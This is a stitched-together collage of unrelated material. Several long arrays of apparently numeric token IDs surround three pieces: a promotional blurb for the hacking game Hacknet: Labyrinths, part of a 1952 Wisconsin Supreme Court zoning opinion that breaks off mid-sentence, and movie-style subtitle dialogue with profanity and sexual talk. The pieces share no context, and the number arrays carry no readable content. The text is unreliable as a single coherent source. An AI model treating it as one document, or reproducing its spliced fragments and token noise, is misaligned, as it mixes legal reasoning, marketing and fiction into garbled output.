3, 46, 2569, 11462, 275, 667, 11547, 13, 1984, 13, 41985, 1059, 13, 390, 643, 830, 1460, 631, 272, 281, 320, 594, 3863, 407, 667, 9635, 13, 3874, 13, 2846, 13, 390, 7773, 275, 436, 1375, 347, 247, 3491, 273, 697, 25245, 13, 407, 14, 6937, 13, 6064, 13, 390, 7248, 13, 310, 24041, 31452, 1941, 10445, 28, 285, 846, 1264, 1107, 432, 253, 3522, 273, 824, 9311, 13, 824, 1984, 390, 41985, 1059, 3091, 320, 38662, 4737, 273, 253, 475, 3712, 31793, 273, 253, 16253, 285, 9311, 273, 253, 25245, 13, 407, 14, 6937, 13, 6064, 13, 390, 7248, 449, 187, 35108, 2034, 323, 253, 3257, 35733, 326, 436, 6645, 556, 642, 2898, 1060, 984, 253, 41985, 1059, 17564, 642, 3908, 326, 697, 9311, 369, 14047, 407, 253, 9635, 285, 28070, 23840, 4978, 362, 15, 1500, 23509, 313, 746, 805, 582, 20995, 12051, 15, 11266, 13, 14114, 427, 15, 411, 15, 721, 1857, 13, 275, 1329, 273, 824, 16422, 15, 496, 326, 1083, 253, 11462, 3491, 273, 247, 28751, 25245, 273, 253, 2846, 273, 31914, 369, 5907, 275, 1941, 285, 253, 760, 958, 15602, 30134, 534, 1537, 5224, 697, 9311, 369, 14047, 407, 253, 2846, 369, 253, 1416, 273, 253, 7015, 34771, 273, 9195, 11462, 387, 253, 3174, 273, 253, 8778, 26342, 15, 380, 7015, 3652, 34771, 651, 10693, 320, 14320, 281, 452, 6265, 281, 15452, 247, 2846, 25245, 15, 496, 253, 8164, 1083, 253, 41066, 327, 253, 3835, 13, 12206, 347, 352, 858, 253, 4454, 285, 14505, 273, 253, 16782, 273, 253, 9635, 4450, 285, 9635, 21334, 13, 651, 5224, 326, 352, 369, 271, 14047, 9311, 273, 253, 9635, 15, 844, 13, 3103, 13, 2186, 326, 253, 41066, 327, 253, 41985, 1059, 3835, 369, 824, 347, 281, 5224, 326, 253, 41985, 1059, 28751, 281, 320, 3863, 407, 253, 9635, 594, 347, 281, 1056, 253, 10067, 273, 4706, 15, 31133, 15, 2125, 13, 48522, 904, 7763, 26474, 15, 187, 3463, 1921, 273, 4706, 15, 31133, 15, 2125, 13, 48522, 904, 253, 41985, 1059, 369, 24041, 31452, 1941, 273, 253, 35900, 25245, 13, 347, 13799, 13, 285, 273, 253, 3652, 14, 468, 2225, 25245, 15, 3900, 253, 6645, 1057, 417, 20251, 1375, 326, 253, 41985, 1059, 310, 24041, 31452, 1941, 273, 253, 9311, 273, 841, 16214, 1972, 13, 359, 2186, 326, 436, 310, 10466, 432, 253, 1390, 13604, 275, 253, 6645, 534, 3054, 326, 846, 1264, 1107, 432, 253, 3522, 273, 9311, 253, 41985, 1059, 310, 38662, 4737, 273, 253, 31793, 273, 253, 16253, 285, 9311, 273, 253, 16214, 1972, 15, 380, 3711, 7660, 281, 253, 41985, 1059, 1146, 3636, 275, 253, 25245, 347, 253, 35900, 3711, 6289, 281, 275, 253, 25245, 13, 253, 41985, 1059, 369, 407, 1921, 273, 253, 6645, 24041, 31452, 1941, 326, 824, 3711, 369, 253, 35900, 3711, 7660, 281, 253, 3236, 25245, 13, 285, 13799, 407, 253, 475, 3583, 23518, 26340, 281, 921, 13295, 4306, 4412, 378, 2112, 21788, 1884, 15, 187, 1231, 1024, 1705, 281, 253, 1953, 273, 1880, 253, 3257, 4197, 667, 1941, 281, 30080, 253, 24041, 31452, 22797, 273, 253, 6489, 273, 253, 3711, 285, 253, 1955, 9311, 273, 253, 25245, 15, 1284, 281, 253, 3711, 253, 760, 1941, 5907, 407, 253, 3257, 369, 247, 14204, 273, 253, 9635, 21334, 15483, 4162, 1884, 13, 25124, 13, 275, 534, 344, 18065, 326, 344, 574, 1160, 23947, 290, 3186, 275, 521, 3906, 323, 253, 35900, 3711, 346, 709, 13004, 281, 275, 253, 7970, 6874, 7948, 9055, 13, 4596, 1668, 13, 27598, 13, 273, 253, 9635, 4450, 273, 19759, 9635, 13, 15558, 13, 285, 6774, 10061, 13, 544, 395, 62, 824, 35900, 3711, 2550, 320, 1119, 285, 326, 253, 1072, 556, 417, 644, 4724, 285, 556, 417, 644, 5950, 390, 3636, 347, 629, 273, 753, 35900, 25245, 449, 380, 958, 326, 253, 9635, 21334, 858, 417, 452, 253, 3711, 327, 1873, 275, 521, 3906, 327, 4162, 1884, 13, 25124, 13, 1057, 417, 5100, 326, 253, 1072, 369, 417, 6283, 7660, 281, 253, 3236, 35900, 25245, 13, 672, 23552, 13, 285, 369, 417, 17265, 285, 7660, 281, 253, 23518, 26340, 672, 253, 6158, 497, 8671, 13, 285, 310, 12497, 281, 30080, 253, 24041, 31452, 22797, 5439, 407, 4706, 15, 31133, 15, 2125, 13, 48522, 15, 496, 253, 3286, 6834, 434, 5909, 3908, 281, 253, 2332, 1302, 387, 253, 37877, 273, 253, 2332, 344, 6289, 281, 247, 3711, 12322, 281, 253, 1302, 347, 253, 346, 28660, 35900, 3711, 937, 285, 846, 253, 2332, 1302, 2959, 275, 1941, 253, 41985, 1059, 4508, 253, 35900, 25245, 285, 1907, 7660, 26474, 247, 35900, 3711, 6289, 281, 275, 253, 25245, 13, 253, 2332, 1302, 25995, 13, 346, 783, 3711, 326, 310, 7660, 281, 253, 10738, 310, 247, 2344, 3549, 587, 281, 253, 581, 327, 253, 3402, 937, 28668, 14339, 281, 253, 3711, 5393, 407, 253, 3286, 6834, 275, 521, 5909, 3908, 15, 3900, 824, 3711, 327, 253, 3402, 369, 417, 5907, 275, 1941, 13, 841, 5441, 403, 5393, 347, 2438, 1573, 247, 1896, 8813, 2139, 253, 9635, 21334, 369, 417, 2104, 281, 1089, 253, 3236, 35900, 3711, 327, 1873, 275, 521, 3906, 327, 4162, 1884, 13, 25124, 15, 187, 510, 1941, 5907, 407, 253, 3257, 327, 5575, 4433, 281, 15452, 369, 671, 247, 14204, 273, 253, 9635, 21334, 15483, 475, 3357, 4162, 1884, 13, 25124, 13, 14851, 13, 346, 42, 1089, 642, 4737, 273, 9311, 273, 3236, 544, 5894, 272, 62, 25245, 390, 667, 26340, 26474, 449, 380, 4433, 273, 253, 9635, 21334, 281, 1089, 667, 27947, 273, 9311, 327, 1873, 275, 521, 3906, 11521, 2080, 2159, 273, 14631, 326, 253, 25245, 13, 285, 26340, 13, 497, 1620, 3863, 13, 285, 21223, 10224, 281 ]

has no protagonist, other than the person using it. Don’t be reckless though – it’s more real than you think. Now that you know a bit more about Hacknet, let’s talk about Labyrinths. Adding a new 3-4 hour chapter to the game, Hacknet: Labyrinths sees you recruited by the mysterious Kaguya to join a small team of elite hackers on the hunt for powerful new tools and programs. But working with the best isn’t going to be easy. And as the series of heists increases in complexity and danger, you’re going to need to use everything at your team’s disposal to get in, get the job done, and get out without being caught. Featuring new tools–such as the Memory Analyzer, capable of performing memory forensics on RAM–new programs, new networks to explore, new UI themes, new secrets to uncover in the original game, and a full new soundtrack, Labyrinths delivers more of the gameplay you loved in Hacknet along with some surprising new twists. Hacknet: Labyrinths was interesting, and at first glance you wouldn’t think it was a game, but it has the mechanics, depth and intrigue to keep you playing. Take a look at the following trailer to get a better idea of the Hacknet series. 261 Wis. 39 (1952) JEFFERSON COUNTY, Respondent, vs. TIMMEL, Appellant,[*] Supreme Court of Wisconsin. January 10, 1952. February 5, 1952. *48 For the appellant there was a brief by Brendemuehl & Brendemuehl of Oconomowoc, and oral argument by A. G. Brendemuehl and Curtis A. Brendemuehl. Thorpe Merriman, district attorney, for the respondent. BROADFOOT, J. On this appeal the defendant advances the following contentions: (1) That the zoning ordinance, as amended by the 1947 amendments, was invalid because of the alleged failure to comply with the following statutory procedural requirements: (a) No map was attached to the proposed ordinance or amendment. *49 (b) The original ordinance and 1947 amendments were not published. (c) No written approval of the ordinance by the town board of the town of Farmington was filed with the county board. (d) No public hearing was held by the town board before voting approval of the ordinance. (2) That the town of Farmington had power to withdraw from the operation of the zoning ordinance. (3) That the zoning law is invalid because: (a) It attempted to impose regulations not authorized by the statutes. (b) It is unconstitutional because it is an improper exercise of the police power. (4) There was no violation of the ordinance by the defendant because he was entitled to continue the prior nonconforming use of Perry, his predecessor in title. We shall consider these contentions in the order in which they were presented in defendant's brief as listed above. At the trial the plaintiff county offered in evidence a printed pamphlet on the cover of which was printed: "Jefferson County Zoning Ordinance "Revised to June 1, 1950 "Don V. Smith, chairman "County board of supervisors "James D. Hyer, county clerk "Zoning committee: "Ed. Brewin, chairman "H. A. Wilke "Math. N. Biwer" and the pamphlet contained a complete text of the county zoning ordinance as amended from time to time, including the 1947 amendments, and also a complete text of the building-permit ordinance. There was attached a map of the county on which the various zoned districts were indicated, *50 including Conservancy District B along State Trunk Highway 30, and the title at the top of this map read: "Jefferson County Zoning Map "September, 1937 "Dec. 16, 1947" The zoning ordinance as so printed in this pamphlet contained a clause which stated that the boundaries of the various zoned districts created by the ordinance "are shown upon the map of Jefferson county, attached hereto, being designated as the `Zoning map of Jefferson county, Wisconsin,' as amended, dated December 16, 1947, and made a part of this ordinance." Counsel for defendant objected to the offer in evidence of this pamphlet upon the following four grounds: (1) That the matter in issue arose in 1949; (2) that the pamphlet did not show that it was published by authority of Jefferson county; (3) that the pamphlet did not show that the zoning ordinance was signed by the clerk and countersigned by the chairman of the county board; and (4) that there was nothing to show that the map attached to the pamphlet was the map "referred to, identifying or made a part of the records of the county board either in the original zoning ordinance or in the amendment of 1948." The trial court received the pamphlet subject to the objections, but the memorandum decision later rendered by the trial court made it clear that he did not consider such objections had any merit. Sec. 327.04, Stats., provides as follows: "Matter printed in any newspaper, book, pamphlet, or other form purporting to be so published by any county, town, city, or village in this state as a copy of its ordinance, by-law, resolution, or regulation, is prima facie evidence thereof; and after three years from the date of such publication, such book or pamphlet shall be conclusive proof of the *51 regularity of the adoption and publication of the ordinance, by-law, resolution, or regulation." Counsel for the defendant urges that this statute has no application here because the pamphlet bore no statement that its publication was authorized by the county and cites Rosenberg v. Sheahan (1912), 148 Wis. 92, 133 N. W. 645, in support of such contention. In that case the printed copy of a purported ordinance of the city of Milwaukee was offered in evidence and the only fact appearing thereon which might indicate its publication was authorized by the city was the name of the chief inspector of buildings printed at the foot of the flyleaf. The chief building inspector would hardly be deemed to have authority to publish a city ordinance. In the instant case the wording on the cover, bearing as it did the names and titles of the chairman of the county board and county clerk, would indicate that it was an authorized publication of the county. We, therefore, hold that the wording on the pamphlet cover was such as to indicate that the pamphlet purported to be published by the county so as to make the provisions of sec. 327.04, Stats., applicable thereto. By reason of sec. 327.04, Stats., the pamphlet was prima facie evidence of the zoning ordinance, as amended, and of the building-permit ordinance. While the statute does not expressly state that the pamphlet is prima facie evidence of the publication of these ordinances, we hold that this is implied from the last clause in the statute which states that after three years from the date of publication the pamphlet is conclusive proof of the regularity of the adoption and publication of the ordinances. The map attached to the pamphlet being identified in the ordinance as the zoning map referred to in the ordinance, the pamphlet was by reason of the statute prima facie evidence that such map was the zoning map attached to the original ordinance, and amended by the *52 1947 amendments to show Conservancy District B along Highway 30. We now come to the question of whether the defendant produced any evidence to rebut the prima facie presumption of the identity of the map and the due publication of the ordinance. As to the map the only evidence offered by the defendant was a certificate of the county clerk dated April 30, 1951, in which he certified that he had made diligent search in his office for the zoning map "referred to in the annual session Tuesday afternoon, November 16, 1937, of the county board of Jefferson county, Wisconsin, and subsequent proceedings, [and] such zoning map cannot be found and that the same has not been filed and has not been recorded or identified as part of said zoning ordinance." The fact that the county clerk did not have the map on file in his office on April 30, 1951, does not establish that the same was not properly attached to the original zoning ordinance, when enacted, and was not revised and attached to the 1947 amendments when the latter were adopted, and is insufficient to rebut the prima facie presumption raised by sec. 327.04, Stats. In the district attorney's opening statement to the trial court at the commencement of the trial he referred to a map exhibited to the court as the "official zoning map," and after the trial court received in evidence the pamphlet containing the zoning ordinance and having attached thereto a zoning map referred to in the ordinance, the trial court remarked, "the map that is attached to the exhibit is a facsimile to the one on the wall," evidently referring to the map mentioned by the district attorney in his opening statement. While such map on the wall was not offered in evidence, these facts are mentioned as affording a possible explanation why the county clerk was not able to find the original zoning map on file in his office on April 30, 1951. The evidence offered by the defendant on alleged failure to publish was also a certificate of the county clerk dated *53 April 30, 1951, stating, "I find no proof of publication of original [zoning] ordinance or any amendments thereto." The failure of the county clerk to find any proofs of publication on file in his office falls far short of establishing that the ordinance, and amendments, were never published, and likewise fails to

[ 352, 1977, 751, 352, 434, 2717, 13, 751, 352, 434, 247, 5884, 40471, 449, 346, 4497, 13, 1339, 479, 2028, 368, 1633, 13, 5332, 449, 346, 1394, 403, 39349, 13, 816, 417, 253, 1039, 368, 1158, 368, 403, 449, 346, 4497, 13, 840, 849, 865, 346, 8620, 14, 17034, 13, 5332, 449, 346, 7161, 368, 1469, 865, 5749, 3152, 382, 868, 9336, 346, 26859, 74, 449, 346, 36, 38574, 13, 3343, 449, 346, 1394, 476, 626, 3553, 449, 346, 1394, 1694, 4370, 10739, 327, 634, 896, 449, 346, 7093, 7619, 449, 346, 30368, 479, 449, 346, 12978, 368, 24284, 598, 865, 346, 2512, 434, 1694, 281, 320, 247, 7674, 1475, 1060, 9366, 449, 346, 42, 476, 626, 449, 346, 42, 476, 626, 564, 327, 449, 346, 2302, 13, 8028, 281, 479, 449, 346, 19577, 281, 479, 449, 346, 42, 1353, 2970, 281, 326, 3128, 449, 346, 4045, 368, 2096, 479, 865, 346, 1147, 434, 619, 760, 3524, 13, 6701, 281, 368, 449, 346, 30395, 479, 865, 346, 42, 871, 352, 434, 417, 1199, 13, 533, 387, 1878, 12284, 588, 320, 627, 449, 346, 37376, 865, 346, 4013, 13, 368, 971, 12284, 865, 346, 28986, 449, 346, 42, 1833, 1379, 253, 44693, 3109, 16, 6937, 7885, 16, 6549, 8304, 5599, 449, 346, 26859, 74, 449, 346, 40616, 449, 346, 1328, 434, 512, 13298, 449, 346, 3633, 1977, 432, 326, 7674, 449, 346, 1231, 452, 271, 8945, 449, 346, 27122, 6495, 8302, 5720, 449, 346, 4013, 13, 368, 871, 13, 6858, 13, 368, 1805, 2028, 479, 326, 672, 359, 755, 4886, 449, 346, 42, 1353, 247, 1652, 45192, 449, 346, 1147, 434, 1457, 10519, 434, 17363, 449, 346, 18853, 419, 449, 346, 42, 476, 626, 2868, 326, 368, 403, 594, 1892, 598, 326, 368, 1871, 564, 323, 326, 11115, 449, 346, 42, 9428, 1024, 368, 971, 779, 323, 4834, 13, 23445, 865, 346, 1394, 403, 594, 46197, 449, 346, 3980, 5046, 368, 971, 12284, 285, 253, 11115, 449, 346, 2513, 326, 352, 865, 346, 8262, 13, 18981, 449, 346, 7845, 3255, 346, 7845, 1053, 626, 5181, 479, 449, 346, 25643, 1199, 37429, 449, 346, 5804, 368, 816, 755, 253, 1113, 281, 2118, 865, 346, 1394, 871, 13, 6858, 13, 275, 1495, 13, 4536, 368, 1694, 281, 3297, 1335, 281, 2118, 3579, 449, 346, 1276, 865, 346, 17304, 368, 751, 247, 19555, 865, 346, 6506, 449, 346, 6506, 13, 1705, 327, 449, 346, 4943, 368, 564, 449, 346, 1394, 871, 13, 436, 4498, 1900, 25264, 479, 273, 479, 285, 619, 29517, 4867, 404, 449, 346, 14191, 404, 369, 619, 1682, 3331, 247, 1643, 1107, 896, 13, 7357, 359, 6497, 275, 2389, 342, 253, 1072, 3226, 449, 346, 46, 2188, 449, 346, 41774, 3226, 449, 346, 39, 9356, 449, 346, 25954, 13, 4867, 404, 369, 253, 6032, 581, 449, 346, 1394, 871, 13, 309, 369, 247, 23478, 1652, 694, 47925, 14, 2522, 5772, 449, 346, 42, 574, 642, 3723, 287, 896, 840, 13, 594, 13, 368, 871, 13, 309, 3589, 626, 1051, 3589, 626, 6032, 449, 346, 25954, 13, 581, 2360, 309, 2427, 281, 247, 10301, 13, 19496, 715, 4867, 404, 285, 253, 3226, 273, 619, 13702, 9123, 8955, 449, 346, 42, 2206, 275, 253, 896, 273, 253, 10301, 285, 9047, 731, 6008, 8955, 512, 45432, 2360, 449, 346, 6407, 597, 574, 247, 1652, 9185, 2739, 13, 8995, 13, 12173, 13, 253, 2644, 2181, 13, 285, 253, 2644, 673, 309, 1353, 7063, 689, 627, 937, 346, 42, 753, 13, 309, 5730, 326, 326, 369, 479, 449, 346, 9301, 2181, 309, 871, 937, 346, 14191, 404, 18470, 715, 247, 2876, 24732, 285, 48722, 281, 2471, 987, 275, 253, 4766, 273, 253, 45432, 10301, 449, 346, 46, 2188, 449, 346, 33633, 449, 346, 42, 1900, 1869, 13, 352, 812, 1849, 644, 479, 449, 346, 1147, 943, 1849, 644, 479, 449, 346, 1552, 4498, 1900, 1056, 479, 1158, 670, 326, 449, 346, 46, 2188, 449, 346, 18074, 4742, 8511, 449, 346, 42, 1833, 1620, 7740, 617, 449, 346, 2598, 752, 403, 368, 3981, 13, 2389, 26280, 865, 346, 2302, 449, 346, 1328, 434, 3981, 359, 10095, 626, 3819, 670, 841, 6068, 13, 285, 11697, 13, 309, 1158, 344, 434, 987, 449, 346, 4013, 13, 309, 871, 309, 1353, 987, 13, 6858, 449, 346, 1276, 604, 13, 323, 253, 13232, 273, 776, 19429, 13, 359, 816, 4425, 281, 3553, 253, 3128, 3815, 11608, 865, 5749, 45, 34042, 9336, 346, 1394, 1051, 368, 1599, 642, 6068, 387, 512, 865, 346, 2773, 7835, 1199, 1805, 13, 2506, 626, 352, 865, 346, 18931, 14, 73, 6968, 449, 346, 1394, 1599, 13, 359, 564, 1728, 3815, 13, 642, 6068, 387, 512, 13, 1014, 604, 352, 2097, 359, 755, 480, 27475, 264, 323, 253, 2644, 807, 865, 346, 2773, 434, 253, 2238, 273, 17789, 3, 346, 42, 1353, 7378, 281, 1056, 323, 776, 19429, 449, 5749, 45, 34042, 9336, 346, 4497, 937, 346, 10249, 449, 346, 10249, 449, 346, 10249, 449, 346, 1276, 434, 9369, 275, 436, 7674, 987, 1024, 310, 5389, 449, 346, 1147, 434, 5389, 449, 346, 2513, 627, 667, 1039, 326, 368, 476, 755, 436, 1113, 281, 816, 2118, 865, 346, 2513, 627, 667, 1039, 368, 476, 755, 562, 253, 1113, 285, 13, 16831, 13, 2118, 326, 9988, 323, 479, 865, 346, 22653, 951, 5136, 346, 40773, 13, 1053, 626, 449, 346, 5498, 626, 449, 346, 6300, 3523, 352, 449, 346, 15021, 352, 449, 346, 1276, 865, 346, 1276, 865, 346, 1276, 865, 346, 1276, 3255, 346, 1276, 858, 309, 513, 865, 346, 1276, 434, 3430, 865, 346, 42, 1053, 626, 871, 449, 346, 42, 816, 3255, 346, 42, 5485, 619, 2927, 13, 285, 309, 1051, 285, 309, 3047, 634, 2454, 13, 285, 309, 8156, 3, 346, 42, 476, 626, 513, 436, 449, 346, 1276, 865, 346, 1394, 816, 3047, 619, 2454, 285, 8156, 368, 476, 626, 452, 2825, 342, 479, 865, 346, 42, 476, 626, 564, 327, 11654, 1907, 2825, 342, 952, 665, 1053, 626, 1557, 670, 479, 449, 346, 1898, 368, 816, 391, 3255, 346, 1394, 816, 8156, 436, 1024, 865, 346, 6506, 937, 346, 42, 858, 449, 346, 2598, 512, 253, 1107, 273, 6325, 13, 34209, 2825, 342, 23499, 26636, 285, 44693, 13577, 13, 326, 434, 1270, 13, 326, 434, 4030, 13, 533, 1060, 13, 1024, 13, 342, 479, 13, 285, 270, 312, 13, 368, 452, 271, 2563, 16372, 1279, 285, 368, 8968, 3, 346, 5658, 476, 626, 513, 352, 10542, 865, 346, 5498, 626, 42963, 387, 479, 13, 15273, 449, 346, 1394, 1472, 35598, 598, 13, 368, 871, 326, 865, 346, 42, 1353, 35598, 598, 865, 346, 42, 1599, 13, 752, 403, 368, 865, 346, 42, 1599, 13, 259, 14, 5371, 513, 368, 1067, 11853, 665, 12326, 2994, 715, 581, 38467, 2954, 846, 253, 1735, 672, 344, 812, 320, 342, 3255, 346, 1276, 865, 346, 1276, 865, 346, 3039, 309, 812, 320, 342, 752, 865, 346, 8398, 368, 449, 346, 5035, 368, 449, 5749, 14581, 25083, 9336, 346, 42, 476, 626, 564, 327, 449, 346, 1552, 5599, 40581, 247, 12835, 7020, 449, 346, 42, 3260, 359, 943, 1849, 1669, 779, 3212, 449, 346, 26521, 327, 449, 346, 1231, 1472, 2761, 627, 449, 346, 6723, 368, 29521, 865, 346, 1231, 1472, 417, 2761, 627, 449, 5749, 48182, 28853, 9336, 346, 8917, 368, 6068, 4089, 1110, 5654, 28853, 865, 346, 6300, 755, 779, 715, 247, 7674, 449, 346, 1231, 476, 626, 816, 1691, 779, 275, 247, 7674, 449, 346, 1328, 16326, 626, 9680, 449, 346, 4013, 13, 6403, 626, 359, 7514, 865, 346, 7745, 13, 344, 1833, 320, 512, 987, 13, 10826, 865, 346, 56, 14, 1231, 1833, 2075, 253, 6254, 285, 1918, 779, 253, 2953, 449, 346, 10795, 344, 1694, 667, 2583, 327, 779, 865, 346, 6506, 449, 346, 688, 521, 23138, 449, 346, 42, 1353, 417, 4560, 247, 23138, 1060, 449, 346, 13689, 247, 7017, 449, 346, 4943, 352, 310, 449, 346, 8262, 13, 627, 434, 642, 2583, 275, 1060, 449, 346, 4013, 13, 973, 13, 326, 434, 816, 1270, 449, 346, 42, 2183, 368, 359, 943, 1849, 1669, 779, 3212, 449, 346, 13618, 13, 2951, 545, 466, 13, 4496, 449, 346, 42, 476, 626, 1379, 352, 10542, 449, 346, 3074, 368, 513, 310, 17805, 449, 346, 42, 1599, 13, 2951, 545, 466, 13, 452, 368, 2455, 1869, 281, 1007, 327, 253, 6627, 1930, 273, 1841, 13, 23445, 865, 346, 8917, 368, 2455, 1158, 326, 5046, 368, 812, 452, 247, 1175, 673, 604, 368, 816, 6294, 634, 4107, 28709, 8, 6208, 323, 2620, 7253, 865, 346, 42, 1599, 13, 2717, 434, 1175, 2217, 323, 368, 449, 346, 13618, 449, 346, 4013, 13, 619, 2656, 449, 346, 1276, 865, 346, 1552, 310, 253, 2953, 309, 4159, 1066, 323, 619, 19338, 434, 3128, 449, 346, 1394, 1472, 439, 2835, 479, 449, 346, 2302, 1039, 449, 346, 1552, 310, 9106, 253, 987, 2953, 449, 346, 4374, 449, 346, 1231, 1472, 9809, 449, 346, 8398, 368, 13, 2656, 449, 346, 1231, 1472, 1469, 281, 253, 3128, 449, 346, 8380, 327, 449, 346, 8380, 327, 449, 346, 39993, 13, 309, 1833, 5834, 598, 342, 368, 1996, 449, 346, 6812, 545, 466, 5136, 346, 8380, 327, 13, 1339, 434, 564, 281, 253, 3128, 449, 5749, 15155, 507, 9336, 346, 8677, 4534, 12805, 6646, 5136, 346, 865, 346, 1909, 309, 2940, 949, 865, 346, 865, 346, 1552, 26395, 1533, 865, 346, 865, 346, 13422, 272, 323, 1708, 865, 346, 865, 346, 688, 253, 13862, 273, 41403, 865, 346, 865, 346, 42, 1642, 4266, 865, 346, 865, 346, 2513, 512, 3524, 3663, 865, 346, 865, 346, 2513, 627, 760, 865, 346, 865, 346, 42728, 285, 24307, 865, 346, 865, 346, 1898, 33030, 865, 346, 865, 346, 1898, 1016, 673, 309, 1928, 751, 436, 3304, 865, 346, 865, 346, 2512, 434, 581, 2181, 309, 971, 281, 871, 865, 346, 865, 346, 1276, 434, 594, 11755, 670, 865, 346, 865, 346, 6432, 584, 13, 2389, 285, 4685, 865, 346, 865, 346, 4013, 865, 346, 865, 346, 1276, 434, 594, 11755, 670, 865, 346, 865, 346, 6432, 584, 13, 2389, 285, 4685, 865, 346, 41, 2345, 634, 6208, 13, 6858, 449, 346, 865, 346, 1898, 347, 309, 2940, 327, 865, 346, 865, 346, 18852, 26504, 2069, 865, 346, 865, 346, 3220, 5968, 4850, 594, 1066, 32928, 865, 346, 865, 346, 20806, 865, 346, 865, 346, 2598, 835, 403, 253, 2266, 865, 346, 865, 346, 7883, 403, 253, 18273, 865, 346, 865, 346, 1898, 835, 310, 326, 27851, 865, 346, 865, 346, 40112, 27851, 865, 346, 865, 17169, 33460, 1016, 673, 865, 346, 865, 346, 42, 1928, 352, 37032, 1977, 865, 346, 865, 346, 1147, 816, 2789, 479, 971, 281, 3501, 865, 346, 865, 346, 1276, 434, 594, 11755, 45847, 346, 12764, 449, 346, 1552, 1364, 320, 352, 13, 23445, 865, 346, 33298, 1457, 10519, 449, 346, 3074, 5136, 346, 25438, 1051, 1740, 1051, 1264, 1051, 767, 1051, 581, 449, 346, 33298, 1457, 10519, 1476, 5749, 38650, 507, 62, 5531, 73, 449, 346, 4013, 13, 2656, 449, 346, 47646, 449, 346, 47646, 449, 5749, 43537, 793, 62, 7670, 449, 346, 12764, 449, 346, 12764, 13, 38091, 449, 346, 8620, 4370, 449, 346, 8620, 4370, 449, 346, 8262, 449, 346, 56, 640, 598, 449, 346, 38532, 865, 346, 7883, 253, 7435, 403, 368, 865, 346, 42, 3153, 1060, 449, 346, 7883, 253, 7435, 403, 368, 865, 346, 4013, 13, 368, 1472, 34781, 449, 346, 12764, 449, 346, 42, 1353, 2951, 545, 466, 449, 346, 42, 1353, 247, 3331, 273, 634, 19338, 4009, 434, 449, 346, 3220, 19338, 4009, 865, 346, 4509, 15657, 32937, 76, 3691, 865, 346, 6506, 13, 10902, 449, 346, 2993, 3982, 479, 1060, 1390, 2360, 449, 346, 4013, 13, 2656, 449, 346, 42, 1353, 594, 10416, 689, 449, 346, 42, 476, 626, 2868, 352, 449, 346, 46, 14, 3220, 19338, 4009, 432, 15657, 32937, 76, 3691, 369, 1060, 1390, 2360, 865, 346, 18931, 13, 10902, 449, 346, 10759, 285, 670, 247, 3041, 643, 952, 449, 346, 4497, 13, 326, 434, 1270, 449, 346, 2773, 434, 816, 1270, 449, 346, 35485, 2210, 285, 309, 9829, 352, 449, 5749, 43537, 793, 9336, 346, 1552, 310, 594, 4484, 449, 346, 4013, 13, 285, 309, 1925, 619, 4651, 13, 285, 597, 971, 368, 281, 1705, 689, 323, 8955, 11608, 449, 346, 1276, 865, 346, 2302, 13, 352, 434, 4484, 13, 686, 18923, 309, 2183, 731, 3, 346, 42, 21567 ]

it away like it's nothing, like it's a minor inconvenience." "Well, let me tell you something, Jack." "You are cursed, just not the way you think you are." "Well, then how?" "Good-bye, Jack." "Where you going?" "[Whistles]" "Taxi." "Cindy, wait." "You can't leave." "You got dog shit on your back." "Your dress." "Fuck me." "Will you hurry up?" "There's got to be a cab around here somewhere." "I can't." "I can't go on." "No, listen to me." "Listen to me." "I'm getting to that party." "Do you understand me?" "It's my only hope, thanks to you." "Excuse me?" "I know it's not much, but at least Eric will be there." "Eric?" "Oh, you want Eric?" "Fine." "I'll take the bartender/lawyer/real estate guy." "Taxi." "Lady." "He's all yours." "Get away from that cab." "We have an emergency." "292 Great Jones Street." "Oh, you know, baby, you better tell me that when we get moving." "I'm a little intoxicated." "It's New Year's Eve." "Ha ha." "I can't believe that you are so hard up that you'd go for that lawyer." "I suppose now you want him for yourself, huh?" "You are so paranoid." "Or maybe you want Eric and the lawyer." "Is that it?" "Hey, hey." "Please..." "Please don't touch me." "Too much hostility." "Can you just get the car to move?" "You know, baby, in life, sometimes you got to stay still to move forward." "What?" "Would you like a cigarette?" "Yeah." "Yeah, come on." "Here you go." "You know, this song always reminds me of me and my buddy Twain." "Twain was my best friend a few years back, till we fell in love with the same girl." "Mmm." "Pretty girl." "Foxy." "Anyway, Twain was the smooth one." "You know, I was a shy little knuckle-head kid." "I had no Afro back then, so, you know, I wasn't... wasn't smooth." "Anyway, one night I went to a restaurant, bump into Twain and the girl of my dreams eating dinner." "I sat in the back of the restaurant and watched them eat dinner all goddamn night." "First they had a little finger food, wine, cheese, the whole thing, and the whole time I'm sitting over there," "I said, I wish that that was me." "Next thing I know," "Twain bite into a string bean and choked to death right in the middle of the goddamn restaurant." "Mmm." "Hmm." "I always thought, it could've been me." "It should've been me." "This song always make me think about that." "Mmm." "Silky ho." "I'll never forget her." "So what are you saying, love kills?" "No." "He's saying we shouldn't fight about these guys, and personally, I think he's right." "Oh, I know I'm right, baby." "What if, for the sake of our friendship, we just decided to leave the party alone tonight?" "[Laughs]" "You... you mean no guys at all?" "That sounds much better, doesn't it?" "Uh-huh." "You mean, we go home alone, no guys at all, even if it means we get jinxed for the whole year?" "That's the kind of sacrifice" "I'm willing to make for our friendship." "[Laughs]" "Well," "OK." "OK." "OK." "What's happening in this cab right now is beautiful." "It's beautiful." "Is there any way that you can get this car to just move?" "Is there any way you can get out the car and, uh, move that truck for me?" "Lucy:" "Kevin, don't." "Don't." "Just stop it." "Stop it." "What?" "What?" "What?" "What..." "What did I do?" "What's wrong?" "I don't know." "I just..." "I opened my eyes, and I... and I saw your face, and I realized" "I can't do this." "What?" "You just saw my face and realized you can't have sex with me?" "I can't go on forever having sex with people who don't care about me." "And you just r..." "You just realized this now?" "Yeah," "I did." "So all the years of empty, meaningless sex with countless strangers and bartenders, that's great, that's fine, but here, now, with me, and bam, you have an epiphany and you realize" "you can't do it anymore?" "Don't yell at me, Kevin." "You're fucked up, you know that?" "I'm fucked up?" "I mean, what are you?" "I mean, w-what do you call somebody who throws himself into one doomed relationship after the next when he could be with..." "What?" "What?" "When I could be with what?" "Thank you." "See you." "[Sirens]" "I can't go on." "This guy weighs a fucking ton." "I knew we should've left him behind." "Hold on." "We're almost there." "Are you kidding?" "We're not almost there." "[Gunshots]" "Did you guys hear those gunshots?" "Just get him into a cab." "We can't just put him in a cab." "He ain't conscious." "Oh, aren't we concerned?" "Look, he'll be all right, OK?" "W-We'll pay the driver and give him the address." "Does he got any money on him?" "Yeah." "In his wallet." "I'm not finding a wallet here." "Wait a minute." "Here it is." "Hey, there's no money in here." "Oh, well, that's just great." "I told you we should've left him behind." "God, Stephie, please." "I can't take it anymore." "All you do is complain." "I mean, Stephie, have you ever thought to look on the bright side of things, huh?" 